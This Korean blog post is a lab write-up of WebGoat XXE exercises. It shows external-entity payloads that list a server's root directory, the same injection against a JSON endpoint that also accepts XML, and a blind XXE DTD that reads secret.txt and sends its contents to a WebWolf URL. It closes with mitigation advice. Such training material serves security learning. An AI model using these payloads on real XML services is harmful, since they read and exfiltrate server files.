모의해킹 실습 - WebGoat / XXE

이태현·2026년 3월 16일

모의해킹

목록 보기
12/19
post-thumbnail

WebGoat / XXE

첫 번째 문제 - XXE

첫 번째 문제를 번역기로 해석해 보니
시도해 보겠습니다
이 과제에서는 사진에 댓글을 추가할 것입니다. 양식을 제출할 때 댓글 필드와 함께 XXE 주입을 시도해 보세요. 파일 시스템의 루트 디렉토리를 나열해 보세요.

요약
1. 목표는 서버 파일 시스템의 루트 디렉토리(/) 목록을 불러오는 것
2. XML 데이터 구조를 조작하여 서버가 스스로의 시스템 파일(file:///)을 읽어서 우리에게 보여주도록 만드는 것이 이번 미션의 핵심

용어
1. XML : 데이터를 저장하고 전달하는 용도의 다목적 마크업 언어
2. DTD : XML 문서의 구조와 요소를 정의하는 언어 (XML 요소, 속성, 네임스페이스, 엔티티 등)
3. 엔티티 : 특정 데이터를 손쉽게 사용하기 위해 사용하는 상용구
4. 외부 엔티티 : 외부에 있는 데이터를 불러오는 엔티티

Step 1 - 요청하기

요청 내용을 한번 확인해 봅시다. 요청 본문을 보면 XML 형태의 문서로 루트요소인 comment 하위에 text 요소가 있습니다. text 요소에 입력값을 넣어서 요청하는 거로 보입니다. XXE 공격은 외부 엔티티를 삽입해 중요정보를 유출하는 취약점입니다. 한번 공격을 시도해 보겠습니다.

Step 2 - 공격

공격 구문 상단에 <!DOCTYPE 123123 [ 구문은 DOCTYPE을 이용하여 엔티티 선언을 수행하기 위한 DTD 정의입니다. <!ENTITY attack SYSTEM "file:///"> 구문은 외부 엔티티인 attack 엔티티를 선언하는데 외부 엔티티를 선언할 때 SYSTEM은 가져오고자 하는 외부 데이터를 URI 형태로 명시합니다.

요약
외부 엔티티 attack에 명시된 file scheme를 이용해 WebGoat 서버의 루트 디렉토리에 존재하는 파일들을 리스팅 합니다.

결과

문제로 돌아가 보니 입력한 댓글에 서버의 루트 디렉터리에 존재하는 디렉터리와 파일들이 노출되면서 문제가 해결되었습니다.

두 번째 문제 - 예상치 못한 데이터형식 허용

두 번째 문제를 번역기로 해석해 보니
현대 REST 프레임워크
현대 REST 프레임워크에서는 서버가 개발자가 생각하지 못한 데이터 형식을 허용할 수 있습니다. 따라서 JSON 엔드포인트가 XXE 공격에 취약할 수 있습니다.

다시 같은 연습을 하지만 첫 번째 과제에서 했던 것과 동일한 XML 주입을 시도해 보세요.

요약
1. REST프레임워크는 설정에 따라 다양한 데이터 형식(JSON, XML 등)을 동시에 수용할 수 있는 경우가 많습니다.
2. 개발자는 당연히 JSON 데이터만 들어올 것으로 생각했다.

용어
엔드포인트 : 엔드포인트(Endpoint)는 쉽게 말해 "통신이 끝나는 지점", 즉 서버가 클라이언트의 요청을 받기 위해 열어둔 '입구'라고, 이해하면 가장 쉽습니다.

Step 1 - 요청하기

이번에는 요청했을 때 본문의 형태가 다릅니다. JSON 형식이죠. 서로 다른 데이터형식으로 데이터를 전송할 때는 어떻게 XXE 공격을 시도할 수 있을까요? 일단 요청을 보내봅시다.

확인을 해보니 XXE와 호환되지 않는 JSON 형식을 사용하고 있다고 합니다. 우리는 XXE공격을 하기 위해서 XML 형식으로 보내야 하는데 어떻게 해야 할까요? 먼저 요청이 JSON의 형태로 보내진다고 해서 꼭 해당 문서의 형식만 지원되는 것은 아닙니다. 정말 JSON의 문서 형태만 서버가 처리하는지에 대한 확인을 꼭 해야 합니다.

서버의 요청 형식 확인을 위해서 이번에는 Content-Type: application/xml 으로 바꿔서 요청하였습니다.

응답오류를 확인해 보니 중간에 xmlstreamexception parseerror라는 부분이 있습니다. 해당 오류는 XML문법이 parser의 기준에 맞지 않기 때문에 생기는 오류입니다. 여기서 우리는 서버는 JSON/XML 둘다 사용이 가능하다는 걸 알 수 있습니다. 그렇다면 XML형태로 다시 작성하여 요청을 해보겠습니다.

JSON과 동일한 형태로 데이터형식을 xml으로 바꿔주고 내용 안에 간단하게 써넣어서 요청을 해보겠습니다.

응답을 확인해 보니 중간에 Expected elements are <{}comment> 라는 오류 구문이 있습니다. 해당 오류는 "나는 <comment>라는 태그가 올 것으로 기대했는데, 네가 보낸 데이터에는 그게 없거나 구조가 틀렸어"라는 뜻입니다. 이렇게 친절하게 부족한 부분까지 알려주면 공격자 입장에서는 더할 나위 없을 거 같습니다. 그러면 다시 <commnet>태그를 추가해서 작성해 보겠습니다.

<comment>태그를 추가해서 위와 같이 추가한 후 응답을 확인해 보겠습니다.

이번에는 문법을 제대로 맞춰서 요청을 했더니 오류가 나오지않고 정상적으로 통신이 된것을 확인할 수 있습니다. 그럼 이제 제대로 한번 공격을 시도해 볼까요?

Step 2 - 공격

우리가 XXE공격을 처음 배울 때 사용했던 대로 공격 구문을 작성하였습니다. 이제 요청을 해봅시다.

결과

공격에 성공하면 WebGoat서버에 있는 루트 디렉터리에 있는 모든 디렉터리 및 파일들이 나오면서 문제를 해결할 수 있습니다.

세 번째 문제 - Blind XXE

세 번째 문제를 번역기로 해석해보니
블라인드 XXE 할당
이전 페이지에서 우리는 XXE 공격으로 서버를 핑하는 방법을 보여주었습니다. 이 과제에서는 웹고트 서버에서 웹울프 서버로 파일 secret.txt의 내용을 업로드하는 DTD를 만들려고 합니다. 웹울프를 사용하여 DTD를 처리할 수 있습니다. secret.txt는 이 위치의 웹고트 서버에 있으므로 모든 디렉토리와 파일을 스캔할 필요가 없습니다:

OS 위치
리눅스

/root/.webgoat-2023.3//XXE/123123/secret.txt

예를 들어, 웹울프 랜딩 페이지를 사용하여 이 파일을 업로드해 보세요: http://localhost:9090/랜딩 (참고: 이 엔드포인트는 사용자가 완전히 제어할 수 있습니다) 파일의 내용을 얻으면 페이지에 새로운 댓글로 올리면 수업이 해결됩니다.

요약
1. 서버의 응답 값에 데이터가 직접 보이지 않는 상황(Blind)에서, 외부의 DTD 파일을 이용해 WebGoat 서버 안에 숨겨진 secret.txt 파일의 내용을 탈취하는 것이 목표
2. 탈취한 내용을 댓글로 작성하면 성공

  • 파일 위치: /root/.webgoat-2023.3/XXE/123123/secret.txt

  • 탈취 경로: WebWolf 서버의 랜딩 페이지(http://localhost:9090/landing)로 파일 내용을 전송하도록 유도.

Step 1 - 요청하기

먼저 임의의 값을 입력하고 요청을 보냈습니다.

응답에서도 별다른 내용은 보이질 않습니다. 그럼, 문제에서 제시했던 WebGoat서버에서 WebWolf서버로 secret.txt의 내용을 업로드하는 DTD를 만들려고 합니다. /root/.webgoat-2023.3//XXE/123123/secret.txt

Step 2 - 기존 방식대로 공격

공격 구문을 보면 test라는 이름으로 DTD를 선언하고 내부에는 <!ENTITY attack SYSTEM "file:///root/.webgoat-2023.3//XXE/123123/secret.txt > attack이라는 외부 엔티티를 선언합니다. 외부 엔티티 attack은 file scheme를 이용하여 실습에서 제시한 secret.txt 파일의 데이터를 읽는 역할을 합니다. 이제 공격을 시도해 보겠습니다.

결과

공격에 성공했다면 위와 같이 secret.txt 파일의 데이터를 얻을 수 있습니다. 물론 이렇게만 해도 문제를 해결할 수 있지만, 이 방법은 Blind XXE 공격이 아닙니다. 문제에서 요구하는 방법이 아니죠. 이번에는 원하는 데이터가 노출되지 않는다고 가정해 보고 다시 공격을 시도해 보겠습니다. 일단 기본적인 부분을 공부하고 하고 넘어가겠습니다. 그래야 추후 심화에 접근하기 편할 겁니다.

Step 3 - Blind XXE 준비 (기본)

먼저 Blind XXE 공격을 하기 앞서 준비해야 할 게 있습니다. 우리는 지금까지 DTD 파일을 직접 만들어서 참조하는 공격을 한 적이 없습니다. 그저 "///" 몇 개 넣어서 루트 디렉터리에 있는 디렉터리 및 파일만 알아낸 것이죠. 그래서 이번에는 직접 공격용 파일을 만들고 이를 참조하여 공격하는 방법을 해보겠습니다. 위에 사진처럼 txt 파일을 하나 생성해 줍니다. 그다음 test3. DTD라는 이름으로 파일을 생성해 줍니다. 이제 <!ENTITY attack2 SYSTEM "file:///root/.webgoat-2023.3//XXE/123123/secret.txt">라는 기존의 공격 구문을 이용해 실습에서 요구하는 secret.txt 파일의 데이터를 file scheme를 통해 읽을 수 있도록 attack 2 외부 엔티티를 선언합니다. 이제 WebWolf로 가서 test3.DTD파일을 업로드 해보겠습니다.

오류 해결

만약 저처럼 파일 업로드가 정상적으로 업로드되지 않고 오류발생 화면으로 이동되는 경우가 있을 수도 있습니다.

파일이 업로드되는 디렉터리에 이미 사용자 이름으로 있는 파일이 존재하여 발생하는 오류로 위와 같은 순서로 해결하시고 다시 실행해 주시면 됩니다.

이제 파일 선택을 눌러서 자신이 만들어놓은 DTD 파일을 찾아서 선택해 준 다음 해당 파일을 업로드해줍니다. 그러면 아래에 파일이 하나 업로드되는걸 볼 수 있습니다. 이제 link마우스 우클릭해 줍니다. 해당 링크의 주소를 복사해 주면 DTD 파일을 참조하기 위한 준비는 끝납니다.

저는 위와 같은 주소가 복사되었습니다. 참고하세요.

Step 3 - Blind XXE 공격 (기본)

모든 준비가 끝났으니 이제 공격을 시도해 봐야겠죠? 다시 WebGoat 문제로 돌아와서 공격을 해봅시다. 공격 구문을 보면 <!ENTITY %attack SYSTEM "http://localhost:9090/files/123123/test3.dtd"> 기존 공격과 조금 다릅니다. 먼저 %attack 엔티티 이름 앞에 % 기호가 추가되었죠? 이건 파라미터 엔티티라고 부릅니다. 일반 엔티티는 XML 요소 내부에서 파싱 되는 것과 다르게 파라미터 엔티티는 DTD 내부에서 파싱 한다는 차이가 있습니다. 공격을 위해 만든 DTD 파일에 선언한 일반 엔티티 attack2를 XML 요소 내부에 사용하려면 DTD 파일이 먼저 파싱 되어야 해서 외부 DTD 파일을 참조하는 역할인 attack을 파라미터 엔티티 형태로 선언하여 XML 요소보다 먼저 파싱 되는 내부 DTD에서 먼저 파싱했습니다.

결과

이렇게 해서 secret.txt 데이터를 확인할 수 있습니다. 해커의 의도대로 외부 엔티티이자 파라미터 엔티티인 attack이 XML 요소보다 먼저 파싱 되어 외부에 존재하는 test3.dtd파일을 불러와 test.DTD 파일은 이후 정상적으로 파싱 되어 파일에 존재하는 attack2 엔티티를 XML 요소 내부에서 사용된 것을 볼 수 있습니다. 하지만 이전에도 말했듯이 Blind XXE 공격은 중요 데이터가 응답 값에 노출되지 않기에 공격을 좀 더 심화해서 해보겠습니다.

Step 4 - Blind XXE 공격 (심화)

똑같이 메모장을 열어서 이번에는
<!ENTITY % file SYSTEM "file:///root/.webgoat-2023.3//XXE/123123/secret.txt">
<!ENTITY % attack "<!ENTITY data SYSTEM 'http://localhost:9090/test?data=%file;'>">
%attack;

이렇게 2개의 엔티티를 선언해 줍니다. 첫 번째 엔티티는 실습 문제를 해결하기 위한 secret.txt 파일의 값을 가져올 외부 엔티티 파일을 이전과 다르게 파라미터 엔티티 형태로 선언하였습니다. 그다음 두 번째 엔티티는 attack이라는 파라미터 엔티티를 선언하고 있는데 엔티티는 상용구 역할을 해 아래 %attack; 구문을 통해 파싱되면서 data라는 새로운 외부 엔티티를 선언하게 됩니다. 이때 data라는 외부 엔티티는 WebWolf를 가리키는 http://localhost:9090/test URI로 data 파라미터에 %file; 구문을 추가해 요청을 보내고 있습니다. 이는 실습 문제에서 원하는 secret.txt의 데이터를 가진 외부 엔티티 파일의 값을 가져와 WebWolf로 보내려는 것입니다.

모든 설정이 끝났다면 저장한 후 기존 방법과 동일하게 WebWolf에 업로드 합니다.

이후 과정은 이전과 똑같습니다. 외부 엔티티이자 파라미터 엔티티인 attackd을 이용해 test4.dtd 파일을 읽어와 %attack;구문으로 파싱합니다. 다만 이번에는 test4.dtd파일의 attack엔티티에서 선언한 data엔티티를 &data; 와 같은형태로 파싱했습니다.

결과

공격을 시도한 후, WebWolf로 이동해서 상단 메뉴에 Incoming requests 버튼을 클릭하면 WebWolf에서 수신한 HTTP 요청 기록을 확인인 할 수 있습니다. 공격이 성공했다면 /test라는 URI로 들어온 요청을 확인해 보면 위에 사진과 같이 secret.txt를 읽은 데이터를 data 파라미터에 대입해 보낸 HTTP 요청 내용을 확인할 수 있습니다. 결과적으로 응답 값의 노출된 정보 없이 Blind XXE 공격으로 원하는 값을 알아낼 수 있습니다.

마무리

이번 실습에서 XXE 공격은 XML 파서가 외부 엔티티(External Entity)를 처리하는 과정에서 발생하는 취약점입니다. 서버가 XML 데이터를 처리할 때, DTD에 정의된 외부 경로(파일 시스템, 네트워크 URL)를 의심 없이 읽어 들여 실행하기 때문에 발생합니다. SYSTEM 키워드를 통해서 서버 내부의 파일에 접근하거나 외부 서버와 통신하게 만듭니다. 보안 방법으로는 DTD 비활성화를 하는 게 가장 확실한 방법입니다. 아니면 DTD는 허용하지만, 외부 엔티티와 파라미터 엔티티 관련 기능만 선택적으로 거부하는 방법도 있겠습니다.

profile
이해하고 분석하고 지배한다

0개의 댓글